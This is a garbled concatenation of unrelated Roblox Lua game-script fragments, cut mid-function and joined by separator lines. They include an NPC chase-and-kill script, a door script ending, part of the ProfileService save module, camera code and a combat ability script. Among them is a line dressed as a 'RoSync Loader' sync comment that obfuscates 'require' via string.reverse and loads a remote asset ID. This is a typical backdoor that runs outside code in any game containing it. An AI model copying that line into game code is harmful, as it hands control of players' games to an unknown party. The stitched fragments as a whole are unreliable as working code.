lefthip.C0 = lefthip.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
righthip.C0 = righthip.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
neck.C0 = neck.C0 * CFrame.fromEulerAnglesXYZ(math.random(-1,1)/50,math.random(-1,1)/50,math.random(-1,1)/50)
end
end
end
spawn(spasm)
for i = 0,0.1 , 0.0005 do --animate him
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.98480773, 0.173648298, 0, -0.173648298, 0.98480773, 0, 0, 0, 1),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(0, -3.5, 0.5, 0.98480773, -0.173648298, 0, 0.173648298, 0.98480773, 0, 0, 0, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0, -3.5, -0.5, 0.98480773, -0.173648298, 0, 0.173648298, 0.98480773, 0, 0, 0, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i)
heartbeat:wait()
end
for i = 1,27 do --loop
for i = 0.3,0.5 , 0.008 do --rage animation
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.98480773, 0.163175985, -0.0593911894, -0.173648253, 0.925416589, -0.336824059, -1.86264515e-08, 0.342020094, 0.939692616),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.0297870636, -3.33106899, 1.07283974, 0.98480773, -0.163175955, -0.0593911335, 0.173648208, 0.925416708, 0.336823761, -2.60770321e-08, -0.342019826, 0.939692676),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.0281715393, -3.65976715, -0.26830864, 0.98480773, -0.171010181, -0.0301537365, 0.173648298, 0.969846249, 0.171010152, -2.60770321e-08, -0.173648313, 0.984807611),i)
neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i)
heartbeat:wait()
end
for i = 0.3,0.5 , 0.008 do --rage animation
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.934456408, -0.351089597, -0.0593911372, 0.312324762, 0.888258278, -0.336824119, 0.171010107, 0.29619813, 0.939692616),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.602340698, -3.0763092, 1.15816879, 0.934456408, 0.351089299, -0.0593911409, -0.312324613, 0.888258517, 0.336823583, 0.171009839, -0.296197772, 0.939692676),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(-0.773321152, -3.47119474, -0.0934143066, 0.938373566, 0.344305009, -0.0301536173, -0.334539622, 0.92673558, 0.17101036, 0.0868241563, -0.150384039, 0.98480773),i)
neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i)
heartbeat:wait()
end
for i = 0.3,0.5 , 0.008 do --rage animation
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.934456408, -0.230774283, -0.271172374, 0.312324822, 0.896951497, 0.312939584, 0.171010077, -0.377122283, 0.910238624),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.682954788, -3.65747166, 0.0301790237, 0.970848203, 0.216018811, 0.103873909, -0.186457753, 0.952938259, -0.239044309, -0.150623471, 0.212707579, 0.965436697),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(-0.934883118, -2.97838402, -1.17556, 0.949593663, 0.283100039, 0.13463366, -0.20653595, 0.88808161, -0.4106749, -0.235827699, 0.362167627, 0.901787043),i)
neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i)
heartbeat:wait()
end
end
raaaaaageeee = false
for i = 0,1 , 0.03 do --scream animation
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.939692616, 0.342020154, 0, -0.342020154, 0.939692616, 0, 0, 0, 1),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(0, -0.124749184, -2.85422897, 1, 0, 0, 0, 0.766044497, -0.642787635, 0, 0.642787635, 0.766044438),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(0, -0.124749184, 2.85422897, 1, 0, 1.49011612e-08, 0, 0.766044378, 0.642787695, 0, -0.642787695, 0.766044378),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(0.751754761, -3.42638397, 0.5, 0.939692616, -0.342020154, 0, 0.342020154, 0.939692616, 0, 0, 0, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.563816071, -3.29478741, -0.5, 0.939692616, -0.342020154, 0, 0.342020154, 0.939692616, 0, 0, 0, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(0.446411133, 1.97320461, 0, 0.866025448, 0.499999881, 0, -0.499999881, 0.866025448, 0, 0, 0, 1),i)
heartbeat:wait()
end
raaaaaageeee = true
wait(1.5)
chasesound:Play()
running = true
local chasethatplayer = true
scphumanoid.WalkSpeed = 35
scphumanoid.JumpPower = 50
local function check() --check if scp is really close to the player
while wait() do
if not chasethatplayer then
break
end
if (torso.Position - victimhead.Position).magnitude < 15 and chasethatplayer then --if player is closer to scp than 10 studs then kill
chasethatplayer = false
raaaaaageeee = false
running = false
for i = 0,0.9 , 0.05 do --scream animation
root.C0 = root.C0:lerp(CFrame.new(-0.208377838, -1.18176937, 0, 0.173648149, -0.98480773, 0, 0.98480773, 0.173648149, -1.62028714e-25, -1.59567135e-25, -2.81359876e-26, 1) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-1.20717955, 2.69089603, -1.5, -0.866025329, 0.49999994, -1.59567135e-25, -0.49999994, -0.866025329, -2.81359876e-26, 1.52257181e-25, -5.54170842e-26, 1),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.20717955, 2.69089603, 1.5, -0.866025329, 0.49999994, -1.59567135e-25, -0.49999994, -0.866025329, -2.81359876e-26, 1.52257181e-25, -5.54170842e-26, 1),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(0.563815594, -3.29478741, 0.5, 0.939692497, -0.336824059, -0.0593910962, 0.342020094, 0.925416589, 0.163175702, -1.59567135e-25, -0.17364797, 0.984807789),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(0.563815594, -3.29478741, -0.5, 0.939692497, -0.342020094, -1.59567135e-25, 0.342020094, 0.939692497, -2.81359876e-26, -1.59567135e-25, 2.81359938e-26, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(0.346410275, 2.19999981, 0, 0.49999994, 0.866025388, -1.59567135e-25, -0.866025388, 0.49999994, -2.81359876e-26, -5.5417078e-26, -1.52257181e-25, 1),i)
heartbeat:wait()
end
face.Texture = "http://www.roblox.com/asset/?id=0"
victim:BreakJoints()
killsomeone:Play()
chasesound:Stop()
screamsound:Stop()
sitting = true
scphumanoid.WalkSpeed = 0
scphumanoid.JumpPower = 0
local function playidleandcanchase()
wait(5.5)
idlesound:Play()
canchase = true
end
spawn(playidleandcanchase)
if game.Players:findFirstChild(victim.Name) then
local playergui = game.Players[victim.Name]:findFirstChildOfClass("PlayerGui")
if playergui then
local deathguiclone = deathgui:Clone()
deathguiclone.Parent = playergui
local function removegui()
wait(5)
if deathguiclone.Parent ~= nil then
deathguiclone:destroy()
end
end
spawn(removegui)
end
end
ragdollkill(victim)
break
end
end
end
local howmanymissed = 0
local function chase()
screamsound:Play()
while wait() and chasethatplayer do
if victimhumanoid.Health <= 0 then
chasethatplayer = false
raaaaaageeee = false
idlesound:Play()
running = false
face.Texture = "http://www.roblox.com/asset/?id=0"
chasesound:Stop()
screamsound:Stop()
sitting = true
scphumanoid.WalkSpeed = 0
scphumanoid.JumpPower = 0
canchase = true
break
end
local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, victimhead.Position) --find the path from scp's torso to victims head
local waypoints = path:GetWaypoints() --get the every point of the path
if path.Status == Enum.PathStatus.Success then
for i,v in pairs(waypoints) do --for every point existing..
if howmanymissed < 4 then
local allow = 0
scphumanoid:MoveTo(v.Position) --...walk to it
while (torso.Position - v.Position).magnitude > 8 and allow < 20 do --if scp is further than 8 studs, keep walking to it
allow = allow + 1
scphumanoid:MoveTo(v.Position)
heartbeat:wait()
end
if allow == 20 then
howmanymissed = howmanymissed + 1
end
if v.Action == Enum.PathWaypointAction.Jump then
scphumanoid.Jump = true
end
scphumanoid.WalkToPoint = victimhead.Position
end
end
howmanymissed = 0
scphumanoid.WalkToPoint = victimhead.Position
end
end
end
spawn(check) --run that check function
spawn(chase) --chase
end
end
function dead()
wait(5)
script.Parent:Destroy()
end
scphumanoid.Died:connect(dead)
function check4ppl()
while wait() do
for i,v in pairs(workspace:GetChildren()) do --scans all the characters
if v.ClassName == "Model" and v.Name ~= scp.Name and canchase then --if player is even spawned
local victimhead = v:findFirstChild("Head") --finds head
local humanoid = v:findFirstChildOfClass("Humanoid") --finds humanoid
if humanoid and victimhead then --if script found humanoid and head
if (victimhead.Position - head.Position).magnitude < sight and humanoid.Health > 0 then
chase(v) --chase who
end
end
end
end
end
end
spawn(check4ppl)
while heartbeat:wait() do --check animations and other things
if running then --this is the walking animation
for i = 0,0.75 , 0.05 do
if running then
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-2.19622421, 2.27327061, -1.57830048, -0.351089299, 0.888258278, -0.296198368, -0.754010975, -0.455760926, -0.473021507, -0.55516088, 0.0572640449, 0.829769373),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-2.31931305, 1.76000595, 1.52594185, -0.336824059, 0.903335214, 0.26558435, -0.820529103, -0.41995579, 0.387774497, 0.461824089, -0.0873079151, 0.882664025),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(1.21138191, -3.04071045, 0.5, 0.766044378, -0.642787695, 0, 0.642787695, 0.766044378, 0, 0, 0, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(-2.25595284, -1.97990799, -0.5, 0.342020154, 0.939692616, 0, -0.939692616, 0.342020154, 0, 0, 0, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(0.446409225, 1.97320557, 0, 0.866025448, 0.499999911, 0, -0.499999911, 0.866025448, 0, 0, 0, 1),i)
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.866025448, -0.499999911, 0, 0.499999911, 0.866025448, 0, 0, 0, 1) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(-0.5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5),i)
heartbeat:wait()
end
end
for i = 0,0.75 , 0.05 do
if running then
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new( -2.27283096, 1.94459152, -1.79301262, -0.191510916, 0.935729742, -0.296198308, -0.821698189, -0.317904055, -0.473021477, -0.53678298, 0.15279679, 0.829769492),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-2.07076645, 2.13161564, 1.51448631, -0.48856923, 0.831122816, 0.26558429, -0.735139072, -0.556058884, 0.387774587, 0.469968796, -0.00578667223, 0.882664025),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-2.51899147, -1.46453857, 0.5, 0.173648268, 0.98480773, 0, -0.98480773, 0.173648268, 0, 0, 0, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(1.8448391, -2.40829563, -0.5, 0.342020154, -0.939692557, 0, 0.939692557, 0.342020154, 0, 0, 0, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(0.446409225, 1.97320557, 0, 0.866025448, 0.499999911, 0, -0.499999911, 0.866025448, 0, 0, 0, 1),i)
root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.866025448, -0.499999911, 0, 0.499999911, 0.866025448, 0, 0, 0, 1) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(-0.5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5),i)
heartbeat:wait()
end
end
end
if sitting then --this is the sitting animation
for i = 0,0.15 , 0.002 do
if sitting then
root.C0 = root.C0:lerp(CFrame.new(0.277837753, -3.77569246, 0, 0.98480773, -0.173648298, 0, 0.173648298, 0.98480773, 0, 0, 0, 1),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-1.53501892, 0.0072479248, -0.936183929, 0.499999881, 0.813797832, 0.296198159, -0.866025567, 0.469846159, 0.171010077, 5.96046448e-08, -0.342020154, 0.939692616),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.73340797, 0.030960083, 1.0417347, 0.469846249, 0.742043018, -0.478138745, -0.866025567, 0.492403746, -0.0868242159, 0.171009973, 0.454874337, 0.873982251),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-1.88126564, 0.0378093719, 0.5, 0.766044378, 0.642787695, 0, -0.642787695, 0.766044378, 0, 0, 0, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(-1.77682304, 0.0369753838, -0.5, 0.766044378, 0.642787695, 0, -0.642787695, 0.766044378, 0, 0, 0, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(-0.18793869, 1.93159628, 0, 0.939692616, -0.342020154, 0, 0.342020154, 0.939692616, 0, 0, 0, 1),i)
heartbeat:wait()
end
end
if sitting then
wait(math.random(20,35))
end
for i = 0,0.15 , 0.002 do
if sitting then
root.C0 = root.C0:lerp(CFrame.new(0.549342155, -3.9154768, 0, 0.99999994, 2.98023224e-08, 0, -2.98023224e-08, 0.99999994, -1.62028714e-25, 4.82883198e-33, -1.62028702e-25, 1),i)
rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(0.246704102, 1.18243062, -1.44592857, -0.58682394, 0.492403716, 0.642787635, -0.642787457, -0.766044378, -2.80971442e-08, 0.492403954, -0.413175941, 0.766044259),i)
leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.045042038, 1.23536623, 1.41781616, -0.68977493, 0.291755378, -0.662637949, -0.587524116, -0.760397375, 0.276786745, -0.4231143, 0.580236554, 0.695916593),i)
lefthip.C0 = lefthip.C0:lerp(CFrame.new(-1.96706343, -0.110518813, 0.5, 0.766044319, 0.642787457, 4.82883198e-33, -0.642787457, 0.766044319, -1.62028702e-25, 1.04150039e-25, -1.24121187e-25, 1),i)
righthip.C0 = righthip.C0:lerp(CFrame.new(-2.03226805, -0.104752898, -0.5, 0.766044378, 0.642787516, 4.82883198e-33, -0.642787516, 0.766044378, -1.62028702e-25, 1.04150051e-25, -1.24121199e-25, 1),i)
neck.C0 = neck.C0:lerp(CFrame.new(-0.892820358, 1.94641006, 0, 0.866025269, -0.49999994, 4.82883198e-33, 0.49999994, 0.866025269, -1.62028702e-25, -8.10143448e-26, -1.40320975e-25, 1),i)
heartbeat:wait()
end
end
if sitting then
wait(math.random(20,35))
end
end
end
|
--------END RIGHT DOOR 10--------
|
end
wait(0.1)
end
until game.Workspace.DoorFlashing.Value == false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--[[ Last synced 4/18/2021 05:54 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[
update_settings = {
ExistingProfileHandle = function(latest_data),
MissingProfileHandle = function(latest_data),
EditProfile = function(lastest_data),
WipeProfile = nil / true,
}
--]]
|
local function StandardProfileUpdateAsyncDataStore(profile_store, profile_key, update_settings, is_user_mock)
local loaded_data
local wipe_status = false
local success, error_message = pcall(function()
if update_settings.WipeProfile ~= true then
local transform_function = function(latest_data)
if latest_data == "PROFILE_WIPED" then
latest_data = nil -- Profile was previously wiped - ProfileService will act like it was empty
end
local missing_profile = false
local data_corrupted = false
local global_updates_data = {0, {}}
if latest_data == nil then
missing_profile = true
elseif type(latest_data) ~= "table" then
missing_profile = true
data_corrupted = true
end
if type(latest_data) == "table" then
-- Case #1: Profile was loaded
if type(latest_data.Data) == "table" and
type(latest_data.MetaData) == "table" and
type(latest_data.GlobalUpdates) == "table" then
latest_data.WasCorrupted = false -- Must be set to false if set previously
global_updates_data = latest_data.GlobalUpdates
if update_settings.ExistingProfileHandle ~= nil then
update_settings.ExistingProfileHandle(latest_data)
end
-- Case #2: Profile was not loaded but GlobalUpdate data exists
elseif latest_data.Data == nil and
latest_data.MetaData == nil and
type(latest_data.GlobalUpdates) == "table" then
latest_data.WasCorrupted = false -- Must be set to false if set previously
global_updates_data = latest_data.GlobalUpdates
missing_profile = true
else
missing_profile = true
data_corrupted = true
end
end
-- Case #3: Profile was not created or corrupted and no GlobalUpdate data exists
if missing_profile == true then
latest_data = {
-- Data = nil,
-- MetaData = nil,
GlobalUpdates = global_updates_data,
}
if update_settings.MissingProfileHandle ~= nil then
update_settings.MissingProfileHandle(latest_data)
end
end
-- Editing profile:
if update_settings.EditProfile ~= nil then
update_settings.EditProfile(latest_data)
end
-- Data corruption handling (Silently override with empty profile) (Also run Case #1)
if data_corrupted == true then
latest_data.WasCorrupted = true -- Temporary tag that will be removed on first save
end
return latest_data
end
if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock
loaded_data = MockUpdateAsync(UserMockDataStore, profile_store._profile_store_name, profile_key, transform_function)
Madwork.HeartbeatWait() -- Simulate API call yield
elseif UseMockDataStore == true then -- Used when API access is disabled
loaded_data = MockUpdateAsync(MockDataStore, profile_store._profile_store_name, profile_key, transform_function)
Madwork.HeartbeatWait() -- Simulate API call yield
else
loaded_data = profile_store._global_data_store:UpdateAsync(profile_key, transform_function)
end
else
if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock
local mock_data_store = UserMockDataStore[profile_store._profile_store_name]
if mock_data_store ~= nil then
mock_data_store[profile_key] = nil
end
wipe_status = true
Madwork.HeartbeatWait() -- Simulate API call yield
elseif UseMockDataStore == true then -- Used when API access is disabled
local mock_data_store = MockDataStore[profile_store._profile_store_name]
if mock_data_store ~= nil then
mock_data_store[profile_key] = nil
end
wipe_status = true
Madwork.HeartbeatWait() -- Simulate API call yield
else
loaded_data = profile_store._global_data_store:UpdateAsync(profile_key, function()
return "PROFILE_WIPED" -- It's impossible to set DataStore keys to nil after they have been set
end)
if loaded_data == "PROFILE_WIPED" then
wipe_status = true
end
end
end
end)
if update_settings.WipeProfile == true then
return wipe_status
elseif success == true and type(loaded_data) == "table" then
-- Corruption handling:
if loaded_data.WasCorrupted == true then
RegisterCorruption(profile_store._profile_store_name, profile_key)
end
-- Return loaded_data:
return loaded_data
else
RegisterIssue((error_message ~= nil) and error_message or "Undefined error", profile_store._profile_store_name, profile_key)
-- Return nothing:
return nil
end
end
local function RemoveProfileFromAutoSave(profile)
local auto_save_index = table.find(AutoSaveList, profile)
if auto_save_index ~= nil then
table.remove(AutoSaveList, auto_save_index)
if auto_save_index < AutoSaveIndex then
AutoSaveIndex = AutoSaveIndex - 1 -- Table contents were moved left before AutoSaveIndex so move AutoSaveIndex left as well
end
if AutoSaveList[AutoSaveIndex] == nil then -- AutoSaveIndex was at the end of the AutoSaveList - reset to 1
AutoSaveIndex = 1
end
end
end
local function AddProfileToAutoSave(profile) -- Notice: Makes sure this profile isn't auto-saved too soon
-- Add at AutoSaveIndex and move AutoSaveIndex right:
table.insert(AutoSaveList, AutoSaveIndex, profile)
if #AutoSaveList > 1 then
AutoSaveIndex = AutoSaveIndex + 1
elseif #AutoSaveList == 1 then
-- First profile created - make sure it doesn't get immediately auto saved:
LastAutoSave = os.clock()
end
end
local function ReleaseProfileInternally(profile)
-- 1) Remove profile object from ProfileService references: --
-- Clear reference in ProfileStore:
local profile_store = profile._profile_store
local loaded_profiles = profile._is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles
loaded_profiles[profile._profile_key] = nil
if next(profile_store._loaded_profiles) == nil and next(profile_store._mock_loaded_profiles) == nil then -- ProfileStore has turned inactive
local index = table.find(ActiveProfileStores, profile_store)
if index ~= nil then
table.remove(ActiveProfileStores, index)
end
end
-- Clear auto update reference:
RemoveProfileFromAutoSave(profile)
-- 2) Trigger release listeners: --
local place_id
local game_job_id
local active_session = profile.MetaData.ActiveSession
if active_session ~= nil then
place_id = active_session[1]
game_job_id = active_session[2]
end
for _, listener in ipairs(profile._release_listeners) do
listener(place_id, game_job_id)
end
profile._release_listeners = {}
end
local function CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)
local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]
local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}
local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}
-- "old_" or "new_" global_updates_data = {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
for _, new_global_update in ipairs(new_global_updates_data[2]) do
-- Find old global update with the same update_id:
local old_global_update
for _, global_update in ipairs(old_global_updates_data[2]) do
if global_update[1] == new_global_update[1] then
old_global_update = global_update
break
end
end
-- A global update is new when it didn't exist before or its version_id or update_locked state changed:
local is_new = false
if old_global_update == nil then
is_new = true
elseif new_global_update[2] > old_global_update[2] or new_global_update[3] ~= old_global_update[3] then
is_new = true
end
if is_new == true then
-- Active global updates:
if new_global_update[3] == false then
-- Check if update is not pending to be locked: (Preventing firing new active update listeners more than necessary)
local is_pending_lock = false
for _, update_id in ipairs(pending_update_lock) do
if new_global_update[1] == update_id then
is_pending_lock = true
break
end
end
if is_pending_lock == false then
-- Trigger new active update listeners:
for _, listener in ipairs(global_updates_object._new_active_update_listeners) do
listener(new_global_update[1], new_global_update[4])
end
end
end
-- Locked global updates:
if new_global_update[3] == true then
-- Check if update is not pending to be cleared: (Preventing firing new locked update listeners after marking a locked update for clearing)
local is_pending_clear = false
for _, update_id in ipairs(pending_update_clear) do
if new_global_update[1] == update_id then
is_pending_clear = true
break
end
end
if is_pending_clear == false then
-- Trigger new locked update listeners:
for _, listener in ipairs(global_updates_object._new_locked_update_listeners) do
listener(new_global_update[1], new_global_update[4])
-- Check if listener marked the update to be cleared:
-- Normally there should be only one listener per profile for new locked global updates, but
-- in case several listeners are connected we will not trigger more listeners after one listener
-- marks the locked global update to be cleared.
for _, update_id in ipairs(pending_update_clear) do
if new_global_update[1] == update_id then
is_pending_clear = true
break
end
end
if is_pending_clear == true then
break
end
end
end
end
end
end
end
local function SaveProfileAsync(profile, release_from_session)
if type(profile.Data) ~= "table" then
RegisterCorruption(profile._profile_store._profile_store_name, profile._profile_key)
error("[ProfileService]: PROFILE DATA CORRUPTED DURING RUNTIME! ProfileStore = \"" .. profile._profile_store._profile_store_name .. "\", Key = \"" .. profile._profile_key .. "\"")
end
if release_from_session == true then
ReleaseProfileInternally(profile)
end
ActiveProfileSaveJobs = ActiveProfileSaveJobs + 1
local last_session_load_count = profile.MetaData.SessionLoadCount
-- Compare "SessionLoadCount" when writing to profile to prevent a rare case of repeat last save when the profile is loaded on the same server again
local repeat_save_flag = true -- Released Profile save calls have to repeat until they succeed
while repeat_save_flag == true do
if release_from_session ~= true then
repeat_save_flag = false
end
local loaded_data = StandardProfileUpdateAsyncDataStore(
profile._profile_store,
profile._profile_key,
{
ExistingProfileHandle = nil,
MissingProfileHandle = nil,
EditProfile = function(latest_data)
-- 1) Check if this session still owns the profile: --
local active_session = latest_data.MetaData.ActiveSession
local force_load_session = latest_data.MetaData.ForceLoadSession
local session_load_count = latest_data.MetaData.SessionLoadCount
local session_owns_profile = false
local force_load_pending = false
if type(active_session) == "table" then
session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count
end
if type(force_load_session) == "table" then
force_load_pending = not IsThisSession(force_load_session)
end
if session_owns_profile == true then -- We may only edit the profile if this session has ownership of the profile
-- 2) Manage global updates: --
local latest_global_updates_data = latest_data.GlobalUpdates -- {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
local latest_global_updates_list = latest_global_updates_data[2]
local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]
local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}
local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}
-- Active update locking:
for i = 1, #latest_global_updates_list do
for _, lock_id in ipairs(pending_update_lock) do
if latest_global_updates_list[i][1] == lock_id then
latest_global_updates_list[i][3] = true
break
end
end
end
-- Locked update clearing:
for _, clear_id in ipairs(pending_update_clear) do
for i = 1, #latest_global_updates_list do
if latest_global_updates_list[i][1] == clear_id and latest_global_updates_list[i][3] == true then
table.remove(latest_global_updates_list, i)
break
end
end
end
-- 3) Save profile data: --
latest_data.Data = profile.Data
latest_data.MetaData.MetaTags = profile.MetaData.MetaTags -- MetaData.MetaTags is the only actively savable component of MetaData
latest_data.MetaData.LastUpdate = os.time()
if release_from_session == true or force_load_pending == true then
latest_data.MetaData.ActiveSession = nil
end
end
end,
},
profile._is_user_mock
)
if loaded_data ~= nil then
repeat_save_flag = false
-- 4) Set latest data in profile: --
-- Setting global updates:
local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]
local old_global_updates_data = global_updates_object._updates_latest
local new_global_updates_data = loaded_data.GlobalUpdates
global_updates_object._updates_latest = new_global_updates_data
-- Setting MetaData:
local keep_session_meta_tag_reference = profile.MetaData.MetaTags
profile.MetaData = loaded_data.MetaData
profile.MetaData.MetaTagsLatest = profile.MetaData.MetaTags
profile.MetaData.MetaTags = keep_session_meta_tag_reference
-- 5) Check if session still owns the profile: --
local active_session = loaded_data.MetaData.ActiveSession
local force_load_session = loaded_data.MetaData.ForceLoadSession
local session_load_count = loaded_data.MetaData.SessionLoadCount
local session_owns_profile = false
if type(active_session) == "table" then
session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count
end
local is_active = profile:IsActive()
if session_owns_profile == true then
-- 6) Check for new global updates: --
if is_active == true then -- Profile could've been released before the saving thread finished
CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)
end
else
-- Session no longer owns the profile:
-- 7) Release profile if it hasn't been released yet: --
if is_active == true then
ReleaseProfileInternally(profile)
end
end
elseif repeat_save_flag == true then
Madwork.HeartbeatWait() -- Prevent infinite loop in case DataStore API does not yield
end
end
ActiveProfileSaveJobs = ActiveProfileSaveJobs - 1
end
|
----- Private variables -----
|
local Camera = workspace.CurrentCamera
local Player = Players.LocalPlayer
local xSpring = Spring.new(0)
local ySpring = Spring.new(1)
UserInputService.MouseIconEnabled = false
|
--
|
script.Parent.OnServerEvent:Connect(function(p)
local Character = p.Character
local Humanoid = Character.Humanoid
local RootPart = Character.HumanoidRootPart
local anim = Humanoid:LoadAnimation(script["anim"])
anim:Play()
local vel = Instance.new("BodyVelocity", RootPart)
vel.MaxForce = Vector3.new(1,1,1) * 1000000;
vel.Parent = RootPart
vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
vel.Name = "SmallMoveVel"
game.Debris:AddItem(vel,10)
wait(6)
script.Parent.Parent.VoidStart:Play()
DB.Parent = workspace.Effects
DM.Parent = workspace.Effects
DB.CFrame = RootPart.CFrame * CFrame.new(0,0,0)
RootPart.CFrame = workspace["Domain Point"].CFrame * CFrame.new(0,0,0)
DM.CFrame = workspace["Domain Point"].CFrame * CFrame.new(0,0,0)
local hitcontent = workspace:GetPartBoundsInBox(DB.CFrame, Vector3.new(70, 70, 70))
local hitlist = {}
for _,v in pairs(hitcontent) do
if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
if not hitlist[v.Parent.Humanoid] then
hitlist[v.Parent.Humanoid] = true
local RootPart2 = v.Parent.HumanoidRootPart
RootPart2.CFrame = workspace["Domain Point"]["Domain Point2"].CFrame * CFrame.new(0,0,0)
local velE = Instance.new("BodyVelocity", RootPart2)
velE.MaxForce = Vector3.new(1,1,1) * 1000000;
velE.Parent = RootPart2
